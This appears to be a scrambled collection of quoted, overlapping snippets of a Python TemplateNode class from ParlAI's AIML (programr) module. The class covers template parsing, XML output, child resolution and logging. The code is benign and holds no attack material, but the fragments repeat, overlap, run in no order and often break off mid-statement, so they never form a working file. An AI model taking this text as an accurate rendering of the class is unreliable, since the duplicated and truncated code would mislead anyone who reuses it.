"import YLogger import parlai.utils.logging as logging from parlai.agents.programr.aiml_manager import AIMLManager aiml_manager = AIMLManager.get_instance()",
"to <star/>\") star_class = graph.get_node_class_by_name('star') star_node = star_class() self.append(star_node) ####################################################################################################### def parse_attrib_value_as_word_node(self, graph,",
"True if expression_text is False and expression_children is False: if self.add_default_star(): # YLogger.debug(self,",
"word_class(word.strip()) self.children.append(word_node) return True return False def get_text_from_element(self, element): text = element.text if",
"False def get_text_from_element(self, element): text = element.text if text is not None: text",
"star_class() self.append(star_node) ####################################################################################################### def parse_attrib_value_as_word_node(self, graph, expression, attrib_name): node = graph.get_base_node() name_node =",
"parse_children_as_word_node(self, graph, child): node = graph.get_base_node() node.parse_text(graph, self.get_text_from_element(child)) for sub_child in child: graph.parse_tag_expression(sub_child,",
"TemplateNode(object): def __init__(self): self._children = [] @property def children(self): return self._children def append(self,",
"graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string) for word in words: if word is not None and word: word_class",
"None: text = text.strip() if text == \"\": return None return text return",
"return xml def parse_text(self, graph, text): if text is not None: string =",
"brain): return self.children_to_xml(brain) def xml_tree(self, brain): xml = \"<template>\" xml += self.children_to_xml(brain) xml",
"text = text.strip() return text return None def get_tail_from_element(self, element): text = element.tail",
"text return None def get_tail_from_element(self, element): text = element.tail if text is not",
"# YLogger.warning(self, \"No context in template tag\") logging.warning(\"No context in template tag\") #######################################################################################################",
"node def parse_children_as_word_node(self, graph, child): node = graph.get_base_node() node.parse_text(graph, self.get_text_from_element(child)) for sub_child in",
"excep: # YLogger.exception(brain, \"Failed to resolve\", excep) logging.error(f\"Failed to resolve {excep}\") return \"\"",
"return text return None def get_tail_from_element(self, element): text = element.tail if text is",
"pattern._end_line_number, # pattern._end_column_number) logging.warning(f\"No context in template tag at [line({pattern._end_line_number}), column({pattern._end_line_number})]\") else: #",
"@property def children(self): return self._children def append(self, child): self._children.append(child) def dump(self, tabs, output_func,",
"# class TemplateNode(object): def __init__(self): self._children = [] @property def children(self): return self._children",
"self._children = [] @property def children(self): return self._children def append(self, child): self._children.append(child) def",
"def to_string(self): return \"[NODE]\" def to_xml(self, brain): return self.children_to_xml(brain) def xml_tree(self, brain): xml",
"{excep}\") return \"\" def to_string(self): return \"[NODE]\" def to_xml(self, brain): return self.children_to_xml(brain) def",
"name_node = graph.get_word_node(expression.attrib[attrib_name]) node.append(name_node) return node def parse_children_as_word_node(self, graph, child): node = graph.get_base_node()",
"self.parse_text(graph, tail_text) found_sub = True if head_result is False and found_sub is False:",
"def get_text_from_element(self, element): text = element.text if text is not None: text =",
"YLogger.warning(self, \"No context in template tag\") logging.warning(\"No context in template tag\") ####################################################################################################### def",
"[line(%d), column(%d)]\", # pattern._end_line_number, # pattern._end_column_number) logging.warning(f\"No context in template tag at [line({pattern._end_line_number}),",
"child): node = graph.get_base_node() node.parse_text(graph, self.get_text_from_element(child)) for sub_child in child: graph.parse_tag_expression(sub_child, node) node.parse_text(graph,",
"tail_text) found_sub = True if head_result is False and found_sub is False: if",
"in words: if word is not None and word: word_class = graph.get_node_class_by_name('word') word_node",
"is False: if self.add_default_star(): # YLogger.debug(self, \"Node has no content (text or children),",
"text return None def parse_template_node(self, graph, pattern): head_text = self.get_text_from_element(pattern) head_result = self.parse_text(graph,",
"self._children def append(self, child): self._children.append(child) def dump(self, tabs, output_func, eol, verbose): self.output(tabs, output_func,",
"except Exception as excep: # YLogger.exception(brain, \"Failed to resolve\", excep) logging.error(f\"Failed to resolve",
"for word in words: if word is not None and word: word_class =",
"or children), default to <star/>\") logging.debug(\"Node has no content (text or children), default",
"graph, text): if text is not None: string = text.strip() if string: words",
"self.get_text_from_element(pattern) head_result = self.parse_text(graph, head_text) found_sub = False for sub_pattern in pattern: graph.parse_tag_expression(sub_pattern,",
"def _parse_node(self, graph, expression): expression_text = self.parse_text(graph, self.get_text_from_element(expression)) expression_children = False for child",
"True for child in self.children: if first is not True: xml += \"",
"YLogger.debug(brain, \"[%s] resolved to [%s]\", self.to_string(), resolved) logging.debug(f\"{self.to_string()} resolved to {resolved}\") return resolved",
"string: words = graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string) for word in words: if word is not None",
"\"</template>\" return ET.fromstring(xml) def children_to_xml(self, brain): xml = \"\" first = True for",
"and word: word_class = graph.get_node_class_by_name('word') word_node = word_class(word.strip()) self.children.append(word_node) return True return False",
"\"Failed to resolve\", excep) logging.error(f\"Failed to resolve {excep}\") return \"\" def to_string(self): return",
"logging.warning(f\"No context in template tag at [line({pattern._end_line_number}), column({pattern._end_line_number})]\") else: # YLogger.warning(self, \"No context",
"if expression_text is False and expression_children is False: if self.add_default_star(): # YLogger.debug(self, \"Node",
"self.add_default_star(): # YLogger.debug(self, \"Node has no content (text or children), default to <star/>\")",
"tabs, output_func, eol, verbose): self.output_child(self, tabs, eol, output_func) def output_child(self, node, tabs, eol,",
"= graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string) for word in words: if word is not None and word:",
"is False and found_sub is False: if hasattr(pattern, '_end_line_number'): # YLogger.warning(self, \"No context",
"template tag at [line(%d), column(%d)]\", # pattern._end_line_number, # pattern._end_column_number) logging.warning(f\"No context in template",
"= AIMLManager.get_instance() ###################################################################################################################### # class TemplateNode(object): def __init__(self): self._children = [] @property def",
"# from parlai.agents.programr.utils.logging.ylogger import YLogger import parlai.utils.logging as logging from parlai.agents.programr.aiml_manager import AIMLManager",
"tag at [line({pattern._end_line_number}), column({pattern._end_line_number})]\") else: # YLogger.warning(self, \"No context in template tag\") logging.warning(\"No",
"in self._children] return aiml_manager.nlp.tokenizer.words_to_texts(words) def resolve(self, brain): try: resolved = self.resolve_children_to_string(brain) # YLogger.debug(brain,",
"expression: graph.parse_tag_expression(child, self) self.parse_text(graph, self.get_tail_from_element(child)) expression_children = True if expression_text is False and",
"resolve_children_to_string(self, brain): words = [child.resolve(brain) for child in self._children] return aiml_manager.nlp.tokenizer.words_to_texts(words) def resolve(self,",
"def append(self, child): self._children.append(child) def dump(self, tabs, output_func, eol, verbose): self.output(tabs, output_func, eol,",
"= graph.get_node_class_by_name('star') star_node = star_class() self.append(star_node) ####################################################################################################### def parse_attrib_value_as_word_node(self, graph, expression, attrib_name): node",
"node, tabs, eol, output_func): for child in node.children: output_func(self, \"{0}{1}{2}\".format(tabs, child.to_string(), eol)) self.output_child(child,",
"self._children.append(child) def dump(self, tabs, output_func, eol, verbose): self.output(tabs, output_func, eol, verbose) def output(self,",
"if hasattr(pattern, '_end_line_number'): # YLogger.warning(self, \"No context in template tag at [line(%d), column(%d)]\",",
"context in template tag\") logging.warning(\"No context in template tag\") ####################################################################################################### def add_default_star(self): return",
"True return False def get_text_from_element(self, element): text = element.text if text is not",
"self.parse_text(graph, self.get_tail_from_element(child)) expression_children = True if expression_text is False and expression_children is False:",
"= text.strip() return text return None def get_tail_from_element(self, element): text = element.tail if",
"def resolve(self, brain): try: resolved = self.resolve_children_to_string(brain) # YLogger.debug(brain, \"[%s] resolved to [%s]\",",
"= True if head_result is False and found_sub is False: if hasattr(pattern, '_end_line_number'):",
"YLogger.warning(self, \"No context in template tag at [line(%d), column(%d)]\", # pattern._end_line_number, # pattern._end_column_number)",
"tabs, output_func, eol, verbose): self.output(tabs, output_func, eol, verbose) def output(self, tabs, output_func, eol,",
"return node def parse_children_as_word_node(self, graph, child): node = graph.get_base_node() node.parse_text(graph, self.get_text_from_element(child)) for sub_child",
"graph.parse_tag_expression(child, self) self.parse_text(graph, self.get_tail_from_element(child)) expression_children = True if expression_text is False and expression_children",
"tabs + \"\\t\", eol, output_func) def resolve_children_to_string(self, brain): words = [child.resolve(brain) for child",
"= graph.get_word_node(expression.attrib[attrib_name]) node.append(name_node) return node def parse_children_as_word_node(self, graph, child): node = graph.get_base_node() node.parse_text(graph,",
"to resolve\", excep) logging.error(f\"Failed to resolve {excep}\") return \"\" def to_string(self): return \"[NODE]\"",
"head_text = self.get_text_from_element(pattern) head_result = self.parse_text(graph, head_text) found_sub = False for sub_pattern in",
"expression): expression_text = self.parse_text(graph, self.get_text_from_element(expression)) expression_children = False for child in expression: graph.parse_tag_expression(child,",
"= \"<template>\" xml += self.children_to_xml(brain) xml += \"</template>\" return ET.fromstring(xml) def children_to_xml(self, brain):",
"+= self.children_to_xml(brain) xml += \"</template>\" return ET.fromstring(xml) def children_to_xml(self, brain): xml = \"\"",
"as logging from parlai.agents.programr.aiml_manager import AIMLManager aiml_manager = AIMLManager.get_instance() ###################################################################################################################### # class TemplateNode(object):",
"AIMLManager.get_instance() ###################################################################################################################### # class TemplateNode(object): def __init__(self): self._children = [] @property def children(self):",
"text = element.tail if text is not None: text = text.strip() if text",
"output_func) def resolve_children_to_string(self, brain): words = [child.resolve(brain) for child in self._children] return aiml_manager.nlp.tokenizer.words_to_texts(words)",
"in template tag\") logging.warning(\"No context in template tag\") ####################################################################################################### def add_default_star(self): return False",
"as excep: # YLogger.exception(brain, \"Failed to resolve\", excep) logging.error(f\"Failed to resolve {excep}\") return",
"tag\") logging.warning(\"No context in template tag\") ####################################################################################################### def add_default_star(self): return False def _parse_node(self,",
"dump(self, tabs, output_func, eol, verbose): self.output(tabs, output_func, eol, verbose) def output(self, tabs, output_func,",
"verbose): self.output(tabs, output_func, eol, verbose) def output(self, tabs, output_func, eol, verbose): self.output_child(self, tabs,",
"template tag at [line({pattern._end_line_number}), column({pattern._end_line_number})]\") else: # YLogger.warning(self, \"No context in template tag\")",
"def __init__(self): self._children = [] @property def children(self): return self._children def append(self, child):",
"child.to_string(), eol)) self.output_child(child, tabs + \"\\t\", eol, output_func) def resolve_children_to_string(self, brain): words =",
"None: string = text.strip() if string: words = graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string) for word in words:",
"template tag\") ####################################################################################################### def add_default_star(self): return False def _parse_node(self, graph, expression): expression_text =",
"not None: text = text.strip() return text return None def get_tail_from_element(self, element): text",
"# YLogger.warning(self, \"No context in template tag at [line(%d), column(%d)]\", # pattern._end_line_number, #",
"resolve(self, brain): try: resolved = self.resolve_children_to_string(brain) # YLogger.debug(brain, \"[%s] resolved to [%s]\", self.to_string(),",
"verbose) def output(self, tabs, output_func, eol, verbose): self.output_child(self, tabs, eol, output_func) def output_child(self,",
"YLogger.exception(brain, \"Failed to resolve\", excep) logging.error(f\"Failed to resolve {excep}\") return \"\" def to_string(self):",
"node = graph.get_base_node() name_node = graph.get_word_node(expression.attrib[attrib_name]) node.append(name_node) return node def parse_children_as_word_node(self, graph, child):",
"self.children_to_xml(brain) xml += \"</template>\" return ET.fromstring(xml) def children_to_xml(self, brain): xml = \"\" first",
"resolved except Exception as excep: # YLogger.exception(brain, \"Failed to resolve\", excep) logging.error(f\"Failed to",
"xml += \"</template>\" return ET.fromstring(xml) def children_to_xml(self, brain): xml = \"\" first =",
"import parlai.utils.logging as logging from parlai.agents.programr.aiml_manager import AIMLManager aiml_manager = AIMLManager.get_instance() ###################################################################################################################### #",
"eol, output_func): for child in node.children: output_func(self, \"{0}{1}{2}\".format(tabs, child.to_string(), eol)) self.output_child(child, tabs +",
"self.get_tail_from_element(child)) expression_children = True if expression_text is False and expression_children is False: if",
"aiml_manager.nlp.tokenizer.words_to_texts(words) def resolve(self, brain): try: resolved = self.resolve_children_to_string(brain) # YLogger.debug(brain, \"[%s] resolved to",
"children), default to <star/>\") star_class = graph.get_node_class_by_name('star') star_node = star_class() self.append(star_node) ####################################################################################################### def",
"try: resolved = self.resolve_children_to_string(brain) # YLogger.debug(brain, \"[%s] resolved to [%s]\", self.to_string(), resolved) logging.debug(f\"{self.to_string()}",
"_parse_node(self, graph, expression): expression_text = self.parse_text(graph, self.get_text_from_element(expression)) expression_children = False for child in",
"= self.parse_text(graph, head_text) found_sub = False for sub_pattern in pattern: graph.parse_tag_expression(sub_pattern, self) tail_text",
"and found_sub is False: if hasattr(pattern, '_end_line_number'): # YLogger.warning(self, \"No context in template",
"resolved = self.resolve_children_to_string(brain) # YLogger.debug(brain, \"[%s] resolved to [%s]\", self.to_string(), resolved) logging.debug(f\"{self.to_string()} resolved",
"return self._children def append(self, child): self._children.append(child) def dump(self, tabs, output_func, eol, verbose): self.output(tabs,",
"child in node.children: output_func(self, \"{0}{1}{2}\".format(tabs, child.to_string(), eol)) self.output_child(child, tabs + \"\\t\", eol, output_func)",
"node.append(name_node) return node def parse_children_as_word_node(self, graph, child): node = graph.get_base_node() node.parse_text(graph, self.get_text_from_element(child)) for",
"output(self, tabs, output_func, eol, verbose): self.output_child(self, tabs, eol, output_func) def output_child(self, node, tabs,",
"False xml += child.to_xml(brain) return xml def parse_text(self, graph, text): if text is",
"# YLogger.debug(self, \"Node has no content (text or children), default to <star/>\") logging.debug(\"Node",
"string = text.strip() if string: words = graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string) for word in words: if",
"output_child(self, node, tabs, eol, output_func): for child in node.children: output_func(self, \"{0}{1}{2}\".format(tabs, child.to_string(), eol))",
"words = graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string) for word in words: if word is not None and",
"tabs, eol, output_func) def output_child(self, node, tabs, eol, output_func): for child in node.children:",
"brain): xml = \"<template>\" xml += self.children_to_xml(brain) xml += \"</template>\" return ET.fromstring(xml) def",
"words = [child.resolve(brain) for child in self._children] return aiml_manager.nlp.tokenizer.words_to_texts(words) def resolve(self, brain): try:",
"to resolve {excep}\") return \"\" def to_string(self): return \"[NODE]\" def to_xml(self, brain): return",
"tag\") ####################################################################################################### def add_default_star(self): return False def _parse_node(self, graph, expression): expression_text = self.parse_text(graph,",
"= self.get_text_from_element(pattern) head_result = self.parse_text(graph, head_text) found_sub = False for sub_pattern in pattern:",
"if head_result is False and found_sub is False: if hasattr(pattern, '_end_line_number'): # YLogger.warning(self,",
"graph.get_base_node() name_node = graph.get_word_node(expression.attrib[attrib_name]) node.append(name_node) return node def parse_children_as_word_node(self, graph, child): node =",
"def parse_children_as_word_node(self, graph, child): node = graph.get_base_node() node.parse_text(graph, self.get_text_from_element(child)) for sub_child in child:",
"pattern): head_text = self.get_text_from_element(pattern) head_result = self.parse_text(graph, head_text) found_sub = False for sub_pattern",
"eol, verbose): self.output(tabs, output_func, eol, verbose) def output(self, tabs, output_func, eol, verbose): self.output_child(self,",
"and expression_children is False: if self.add_default_star(): # YLogger.debug(self, \"Node has no content (text",
"if text is not None: string = text.strip() if string: words = graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string)",
"return False def _parse_node(self, graph, expression): expression_text = self.parse_text(graph, self.get_text_from_element(expression)) expression_children = False",
"= [] @property def children(self): return self._children def append(self, child): self._children.append(child) def dump(self,",
"return ET.fromstring(xml) def children_to_xml(self, brain): xml = \"\" first = True for child",
"graph.get_base_node() node.parse_text(graph, self.get_text_from_element(child)) for sub_child in child: graph.parse_tag_expression(sub_child, node) node.parse_text(graph, self.get_text_from_element(child)) return node",
"= self.get_tail_from_element(sub_pattern) self.parse_text(graph, tail_text) found_sub = True if head_result is False and found_sub",
"self.children.append(word_node) return True return False def get_text_from_element(self, element): text = element.text if text",
"text = element.text if text is not None: text = text.strip() return text",
"found_sub is False: if hasattr(pattern, '_end_line_number'): # YLogger.warning(self, \"No context in template tag",
"output_func): for child in node.children: output_func(self, \"{0}{1}{2}\".format(tabs, child.to_string(), eol)) self.output_child(child, tabs + \"\\t\",",
"or children), default to <star/>\") star_class = graph.get_node_class_by_name('star') star_node = star_class() self.append(star_node) #######################################################################################################",
"text is not None: string = text.strip() if string: words = graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string) for",
"child in self.children: if first is not True: xml += \" \" first",
"xml def parse_text(self, graph, text): if text is not None: string = text.strip()",
"= [child.resolve(brain) for child in self._children] return aiml_manager.nlp.tokenizer.words_to_texts(words) def resolve(self, brain): try: resolved",
"return aiml_manager.nlp.tokenizer.words_to_texts(words) def resolve(self, brain): try: resolved = self.resolve_children_to_string(brain) # YLogger.debug(brain, \"[%s] resolved",
"graph, expression): expression_text = self.parse_text(graph, self.get_text_from_element(expression)) expression_children = False for child in expression:",
"None: text = text.strip() return text return None def get_tail_from_element(self, element): text =",
"get_tail_from_element(self, element): text = element.tail if text is not None: text = text.strip()",
"= self.parse_text(graph, self.get_text_from_element(expression)) expression_children = False for child in expression: graph.parse_tag_expression(child, self) self.parse_text(graph,",
"tabs, eol, output_func): for child in node.children: output_func(self, \"{0}{1}{2}\".format(tabs, child.to_string(), eol)) self.output_child(child, tabs",
"at [line(%d), column(%d)]\", # pattern._end_line_number, # pattern._end_column_number) logging.warning(f\"No context in template tag at",
"parlai.agents.programr.aiml_manager import AIMLManager aiml_manager = AIMLManager.get_instance() ###################################################################################################################### # class TemplateNode(object): def __init__(self): self._children",
"False for child in expression: graph.parse_tag_expression(child, self) self.parse_text(graph, self.get_tail_from_element(child)) expression_children = True if",
"\"{0}{1}{2}\".format(tabs, child.to_string(), eol)) self.output_child(child, tabs + \"\\t\", eol, output_func) def resolve_children_to_string(self, brain): words",
"= graph.get_node_class_by_name('word') word_node = word_class(word.strip()) self.children.append(word_node) return True return False def get_text_from_element(self, element):",
"resolved to {resolved}\") return resolved except Exception as excep: # YLogger.exception(brain, \"Failed to",
"False for sub_pattern in pattern: graph.parse_tag_expression(sub_pattern, self) tail_text = self.get_tail_from_element(sub_pattern) self.parse_text(graph, tail_text) found_sub",
"word_class = graph.get_node_class_by_name('word') word_node = word_class(word.strip()) self.children.append(word_node) return True return False def get_text_from_element(self,",
"is False and expression_children is False: if self.add_default_star(): # YLogger.debug(self, \"Node has no",
"found_sub = True if head_result is False and found_sub is False: if hasattr(pattern,",
"children(self): return self._children def append(self, child): self._children.append(child) def dump(self, tabs, output_func, eol, verbose):",
"if word is not None and word: word_class = graph.get_node_class_by_name('word') word_node = word_class(word.strip())",
"expression_text = self.parse_text(graph, self.get_text_from_element(expression)) expression_children = False for child in expression: graph.parse_tag_expression(child, self)",
"context in template tag at [line({pattern._end_line_number}), column({pattern._end_line_number})]\") else: # YLogger.warning(self, \"No context in",
"not None: string = text.strip() if string: words = graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string) for word in",
"has no content (text or children), default to <star/>\") star_class = graph.get_node_class_by_name('star') star_node",
"context in template tag\") ####################################################################################################### def add_default_star(self): return False def _parse_node(self, graph, expression):",
"eol, verbose): self.output_child(self, tabs, eol, output_func) def output_child(self, node, tabs, eol, output_func): for",
"[line({pattern._end_line_number}), column({pattern._end_line_number})]\") else: # YLogger.warning(self, \"No context in template tag\") logging.warning(\"No context in",
"template tag\") logging.warning(\"No context in template tag\") ####################################################################################################### def add_default_star(self): return False def",
"default to <star/>\") logging.debug(\"Node has no content (text or children), default to <star/>\")",
"text = text.strip() if text == \"\": return None return text return None",
"self.get_tail_from_element(sub_pattern) self.parse_text(graph, tail_text) found_sub = True if head_result is False and found_sub is",
"= graph.get_base_node() node.parse_text(graph, self.get_text_from_element(child)) for sub_child in child: graph.parse_tag_expression(sub_child, node) node.parse_text(graph, self.get_text_from_element(child)) return",
"found_sub = False for sub_pattern in pattern: graph.parse_tag_expression(sub_pattern, self) tail_text = self.get_tail_from_element(sub_pattern) self.parse_text(graph,",
"# pattern._end_column_number) logging.warning(f\"No context in template tag at [line({pattern._end_line_number}), column({pattern._end_line_number})]\") else: # YLogger.warning(self,",
"self.children: if first is not True: xml += \" \" first = False",
"in pattern: graph.parse_tag_expression(sub_pattern, self) tail_text = self.get_tail_from_element(sub_pattern) self.parse_text(graph, tail_text) found_sub = True if",
"ET.fromstring(xml) def children_to_xml(self, brain): xml = \"\" first = True for child in",
"child.to_xml(brain) return xml def parse_text(self, graph, text): if text is not None: string",
"is not None: text = text.strip() return text return None def get_tail_from_element(self, element):",
"text.strip() if text == \"\": return None return text return None def parse_template_node(self,",
"text.strip() if string: words = graph.aiml_parser.brain.nlp.tokenizer.texts_to_words(string) for word in words: if word is",
"self.children_to_xml(brain) def xml_tree(self, brain): xml = \"<template>\" xml += self.children_to_xml(brain) xml += \"</template>\"",
"return True return False def get_text_from_element(self, element): text = element.text if text is",
"eol)) self.output_child(child, tabs + \"\\t\", eol, output_func) def resolve_children_to_string(self, brain): words = [child.resolve(brain)",
"from parlai.agents.programr.utils.logging.ylogger import YLogger import parlai.utils.logging as logging from parlai.agents.programr.aiml_manager import AIMLManager aiml_manager",
"get_text_from_element(self, element): text = element.text if text is not None: text = text.strip()",
"graph, pattern): head_text = self.get_text_from_element(pattern) head_result = self.parse_text(graph, head_text) found_sub = False for",
"self.get_text_from_element(child)) for sub_child in child: graph.parse_tag_expression(sub_child, node) node.parse_text(graph, self.get_text_from_element(child)) return node def parse_expression(self,",
"expression_children = True if expression_text is False and expression_children is False: if self.add_default_star():",
"node.parse_text(graph, self.get_text_from_element(child)) for sub_child in child: graph.parse_tag_expression(sub_child, node) node.parse_text(graph, self.get_text_from_element(child)) return node def",
"\"\": return None return text return None def parse_template_node(self, graph, pattern): head_text =",
"self.parse_text(graph, self.get_text_from_element(expression)) expression_children = False for child in expression: graph.parse_tag_expression(child, self) self.parse_text(graph, self.get_tail_from_element(child))",
"parse_template_node(self, graph, pattern): head_text = self.get_text_from_element(pattern) head_result = self.parse_text(graph, head_text) found_sub = False",
"child in expression: graph.parse_tag_expression(child, self) self.parse_text(graph, self.get_tail_from_element(child)) expression_children = True if expression_text is",
"def resolve_children_to_string(self, brain): words = [child.resolve(brain) for child in self._children] return aiml_manager.nlp.tokenizer.words_to_texts(words) def",
"not True: xml += \" \" first = False xml += child.to_xml(brain) return",
"# pattern._end_line_number, # pattern._end_column_number) logging.warning(f\"No context in template tag at [line({pattern._end_line_number}), column({pattern._end_line_number})]\") else:",
"= False for sub_pattern in pattern: graph.parse_tag_expression(sub_pattern, self) tail_text = self.get_tail_from_element(sub_pattern) self.parse_text(graph, tail_text)",
"has no content (text or children), default to <star/>\") logging.debug(\"Node has no content",
"xml += \" \" first = False xml += child.to_xml(brain) return xml def",
"child in self._children] return aiml_manager.nlp.tokenizer.words_to_texts(words) def resolve(self, brain): try: resolved = self.resolve_children_to_string(brain) #",
"\"Node has no content (text or children), default to <star/>\") logging.debug(\"Node has no",
"xml.etree.ElementTree as ET # from parlai.agents.programr.utils.logging.ylogger import YLogger import parlai.utils.logging as logging from",
"xml = \"<template>\" xml += self.children_to_xml(brain) xml += \"</template>\" return ET.fromstring(xml) def children_to_xml(self,",
"####################################################################################################### def add_default_star(self): return False def _parse_node(self, graph, expression): expression_text = self.parse_text(graph, self.get_text_from_element(expression))",
"def parse_template_node(self, graph, pattern): head_text = self.get_text_from_element(pattern) head_result = self.parse_text(graph, head_text) found_sub =",
"is not None: text = text.strip() if text == \"\": return None return",
"= \"\" first = True for child in self.children: if first is not",
"False and found_sub is False: if hasattr(pattern, '_end_line_number'): # YLogger.warning(self, \"No context in",
"word in words: if word is not None and word: word_class = graph.get_node_class_by_name('word')",
"in template tag at [line({pattern._end_line_number}), column({pattern._end_line_number})]\") else: # YLogger.warning(self, \"No context in template",
"None and word: word_class = graph.get_node_class_by_name('word') word_node = word_class(word.strip()) self.children.append(word_node) return True return",
"graph.parse_tag_expression(sub_pattern, self) tail_text = self.get_tail_from_element(sub_pattern) self.parse_text(graph, tail_text) found_sub = True if head_result is",
"graph, child): node = graph.get_base_node() node.parse_text(graph, self.get_text_from_element(child)) for sub_child in child: graph.parse_tag_expression(sub_child, node)",
"{resolved}\") return resolved except Exception as excep: # YLogger.exception(brain, \"Failed to resolve\", excep)",
"return \"[NODE]\" def to_xml(self, brain): return self.children_to_xml(brain) def xml_tree(self, brain): xml = \"<template>\"",
"from parlai.agents.programr.aiml_manager import AIMLManager aiml_manager = AIMLManager.get_instance() ###################################################################################################################### # class TemplateNode(object): def __init__(self):",
"return None def get_tail_from_element(self, element): text = element.tail if text is not None:",
"xml += child.to_xml(brain) return xml def parse_text(self, graph, text): if text is not",
"def add_default_star(self): return False def _parse_node(self, graph, expression): expression_text = self.parse_text(graph, self.get_text_from_element(expression)) expression_children",
"for child in node.children: output_func(self, \"{0}{1}{2}\".format(tabs, child.to_string(), eol)) self.output_child(child, tabs + \"\\t\", eol,",
"aiml_manager = AIMLManager.get_instance() ###################################################################################################################### # class TemplateNode(object): def __init__(self): self._children = [] @property",
"element): text = element.tail if text is not None: text = text.strip() if",
"words: if word is not None and word: word_class = graph.get_node_class_by_name('word') word_node =",
"word: word_class = graph.get_node_class_by_name('word') word_node = word_class(word.strip()) self.children.append(word_node) return True return False def",
"xml_tree(self, brain): xml = \"<template>\" xml += self.children_to_xml(brain) xml += \"</template>\" return ET.fromstring(xml)",
"expression_text is False and expression_children is False: if self.add_default_star(): # YLogger.debug(self, \"Node has",
"at [line({pattern._end_line_number}), column({pattern._end_line_number})]\") else: # YLogger.warning(self, \"No context in template tag\") logging.warning(\"No context",
"column({pattern._end_line_number})]\") else: # YLogger.warning(self, \"No context in template tag\") logging.warning(\"No context in template",
"in self.children: if first is not True: xml += \" \" first =",
"if text == \"\": return None return text return None def parse_template_node(self, graph,",
"self.append(star_node) ####################################################################################################### def parse_attrib_value_as_word_node(self, graph, expression, attrib_name): node = graph.get_base_node() name_node = graph.get_word_node(expression.attrib[attrib_name])",
"True if head_result is False and found_sub is False: if hasattr(pattern, '_end_line_number'): #",
"# YLogger.debug(brain, \"[%s] resolved to [%s]\", self.to_string(), resolved) logging.debug(f\"{self.to_string()} resolved to {resolved}\") return",
"text is not None: text = text.strip() if text == \"\": return None",
"False: if self.add_default_star(): # YLogger.debug(self, \"Node has no content (text or children), default",
"<star/>\") logging.debug(\"Node has no content (text or children), default to <star/>\") star_class =",
"sub_pattern in pattern: graph.parse_tag_expression(sub_pattern, self) tail_text = self.get_tail_from_element(sub_pattern) self.parse_text(graph, tail_text) found_sub = True",
"[child.resolve(brain) for child in self._children] return aiml_manager.nlp.tokenizer.words_to_texts(words) def resolve(self, brain): try: resolved =",
"in node.children: output_func(self, \"{0}{1}{2}\".format(tabs, child.to_string(), eol)) self.output_child(child, tabs + \"\\t\", eol, output_func) def",
"expression, attrib_name): node = graph.get_base_node() name_node = graph.get_word_node(expression.attrib[attrib_name]) node.append(name_node) return node def parse_children_as_word_node(self,",
"expression_children = False for child in expression: graph.parse_tag_expression(child, self) self.parse_text(graph, self.get_tail_from_element(child)) expression_children =",
"self.output(tabs, output_func, eol, verbose) def output(self, tabs, output_func, eol, verbose): self.output_child(self, tabs, eol,",
"as ET # from parlai.agents.programr.utils.logging.ylogger import YLogger import parlai.utils.logging as logging from parlai.agents.programr.aiml_manager",
"\"[NODE]\" def to_xml(self, brain): return self.children_to_xml(brain) def xml_tree(self, brain): xml = \"<template>\" xml",
"'_end_line_number'): # YLogger.warning(self, \"No context in template tag at [line(%d), column(%d)]\", # pattern._end_line_number,",
"star_class = graph.get_node_class_by_name('star') star_node = star_class() self.append(star_node) ####################################################################################################### def parse_attrib_value_as_word_node(self, graph, expression, attrib_name):",
"text): if text is not None: string = text.strip() if string: words =",
"self.get_text_from_element(expression)) expression_children = False for child in expression: graph.parse_tag_expression(child, self) self.parse_text(graph, self.get_tail_from_element(child)) expression_children",
"to <star/>\") logging.debug(\"Node has no content (text or children), default to <star/>\") star_class",
"\" first = False xml += child.to_xml(brain) return xml def parse_text(self, graph, text):",
"self.parse_text(graph, head_text) found_sub = False for sub_pattern in pattern: graph.parse_tag_expression(sub_pattern, self) tail_text =",
"star_node = star_class() self.append(star_node) ####################################################################################################### def parse_attrib_value_as_word_node(self, graph, expression, attrib_name): node = graph.get_base_node()",
"tail_text = self.get_tail_from_element(sub_pattern) self.parse_text(graph, tail_text) found_sub = True if head_result is False and",
"is not True: xml += \" \" first = False xml += child.to_xml(brain)",
"self.to_string(), resolved) logging.debug(f\"{self.to_string()} resolved to {resolved}\") return resolved except Exception as excep: #",
"eol, output_func) def output_child(self, node, tabs, eol, output_func): for child in node.children: output_func(self,",
"head_result = self.parse_text(graph, head_text) found_sub = False for sub_pattern in pattern: graph.parse_tag_expression(sub_pattern, self)",
"add_default_star(self): return False def _parse_node(self, graph, expression): expression_text = self.parse_text(graph, self.get_text_from_element(expression)) expression_children =",
"head_text) found_sub = False for sub_pattern in pattern: graph.parse_tag_expression(sub_pattern, self) tail_text = self.get_tail_from_element(sub_pattern)",
"for sub_child in child: graph.parse_tag_expression(sub_child, node) node.parse_text(graph, self.get_text_from_element(child)) return node def parse_expression(self, graph,",
"attrib_name): node = graph.get_base_node() name_node = graph.get_word_node(expression.attrib[attrib_name]) node.append(name_node) return node def parse_children_as_word_node(self, graph,",
"False and expression_children is False: if self.add_default_star(): # YLogger.debug(self, \"Node has no content",
"logging.error(f\"Failed to resolve {excep}\") return \"\" def to_string(self): return \"[NODE]\" def to_xml(self, brain):",
"not None and word: word_class = graph.get_node_class_by_name('word') word_node = word_class(word.strip()) self.children.append(word_node) return True",
"return node def parse_expression(self, graph, expression): raise NotImplementedError(\"Never call this directly, call the",
"self) tail_text = self.get_tail_from_element(sub_pattern) self.parse_text(graph, tail_text) found_sub = True if head_result is False",
"return self.children_to_xml(brain) def xml_tree(self, brain): xml = \"<template>\" xml += self.children_to_xml(brain) xml +=",
"logging.debug(\"Node has no content (text or children), default to <star/>\") star_class = graph.get_node_class_by_name('star')",
"output_func, eol, verbose): self.output(tabs, output_func, eol, verbose) def output(self, tabs, output_func, eol, verbose):",
"resolve {excep}\") return \"\" def to_string(self): return \"[NODE]\" def to_xml(self, brain): return self.children_to_xml(brain)",
"False def _parse_node(self, graph, expression): expression_text = self.parse_text(graph, self.get_text_from_element(expression)) expression_children = False for",
"= True for child in self.children: if first is not True: xml +=",
"= word_class(word.strip()) self.children.append(word_node) return True return False def get_text_from_element(self, element): text = element.text",
"if text is not None: text = text.strip() if text == \"\": return",
